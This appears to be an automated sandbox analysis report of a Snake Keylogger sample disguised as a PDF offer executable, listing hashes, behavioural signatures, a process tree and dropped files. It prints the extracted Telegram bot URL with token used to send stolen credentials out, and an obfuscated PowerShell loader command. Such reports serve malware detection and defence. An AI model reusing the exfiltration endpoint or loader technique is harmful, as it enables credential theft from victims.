Analysis
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max time kernel
150s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
31-10-2024 03:49
General
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Target
Commercial offer+Technical offer_pdf.exe
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Size
642KB
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MD5
4806339fc2f24f3bab7fb6620826d603
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SHA1
edc14208fcbd256801a2062dde49a52dd4f2890d
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SHA256
5e0c5d2342ce0c3460d6c853a64efc16a89b9fe93372334d78163dfe7efb7e12
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SHA512
70f75834b884a5a1309ca4b52b4b8d01ed63bccfd22e9fa9035ae3ac83582e46325de6f91bf39fd391db531117579170391f1a7710e8ccf67833d962b44b2182
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SSDEEP
12288:ggu58UO/0Li3SaNlPhq7P9ekopAAT26ZvgVlmee/6BRERMHA+5QpU:gguuv0LPaNbqT9R2vgNeyTERMgm
Malware Config
Extracted
snakekeylogger
https://api.telegram.org/bot7557806283:AAFiqTWzN-gLgC-2y3c1Dz5CtqTp-HN6TYc/sendMessage?chat_id=7451270736
Signatures
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Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
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Snake Keylogger payload 2 IoCs
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Snakekeylogger family
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Loads dropped DLL 1 IoCs
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in System32 directory 1 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Commercial offer+Technical offer_pdf.exe"C:\Users\Admin\AppData\Local\Temp\Commercial offer+Technical offer_pdf.exe"1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Skiftebehandling=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\forurettendes\interventral\Tablespoonsful\Hpital.Svm';$thiosinamine=$Skiftebehandling.SubString(56308,3);.$thiosinamine($Skiftebehandling)2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Mosel.exe"C:\Users\Admin\AppData\Local\Temp\Mosel.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
642KB
MD54806339fc2f24f3bab7fb6620826d603
SHA1edc14208fcbd256801a2062dde49a52dd4f2890d
SHA2565e0c5d2342ce0c3460d6c853a64efc16a89b9fe93372334d78163dfe7efb7e12
SHA51270f75834b884a5a1309ca4b52b4b8d01ed63bccfd22e9fa9035ae3ac83582e46325de6f91bf39fd391db531117579170391f1a7710e8ccf67833d962b44b2182
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
55KB
MD55c3047a848544b49eb82d09ed58708f3
SHA127c59daa34a25319f77d2dfe91613a4669803e21
SHA25672a4194d8fcae2e4cfa2bd19dda030d1a7a05f27b2cc5197b6fceffb6b9decf0
SHA512d783fa64387306adc639d5051bb153c5437ceeb1dc5abbd71d28cd2e1019209b13e1188bc94ab0ebe14cb94daba838293592361ea29451695f41d995b08c3e6a
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Filesize
197KB
MD5c5456a631a46305cb3526c31e9343f88
SHA1bd8e00ea516f4cf63baeabf7a47826436a88550a
SHA256e41c1ed91c989390d2ec88a3629bbfc63fddf1f2ae5b3eb84440888e65d68677
SHA5126b13350a25698d31230cb14caebc8ab2996706df3e544e0745cf4b0248bd0f06710c53167fcca354d950b68fa59164678b3450a1a05b40e47b1dab89751fb2ed
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Filesize
7.7MB
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Filesize
408KB
-
Filesize
408KB
-
Filesize
144KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
104KB
-
Filesize
136KB
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Filesize
600KB
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Filesize
5.6MB
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Filesize
7.7MB
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Filesize
6.5MB
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Filesize
304KB
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Filesize
120KB
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Filesize
168KB
-
Filesize
652KB
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Filesize
3.3MB
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Filesize
4KB
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Filesize
40KB
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Filesize
200KB
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Filesize
136KB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
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Filesize
6.2MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
43.2MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
216KB
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Filesize
7.7MB
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Filesize
128KB
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Filesize
18.3MB
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Filesize
624KB
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Filesize
320KB
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Filesize
1.8MB
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Filesize
584KB
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Filesize
40KB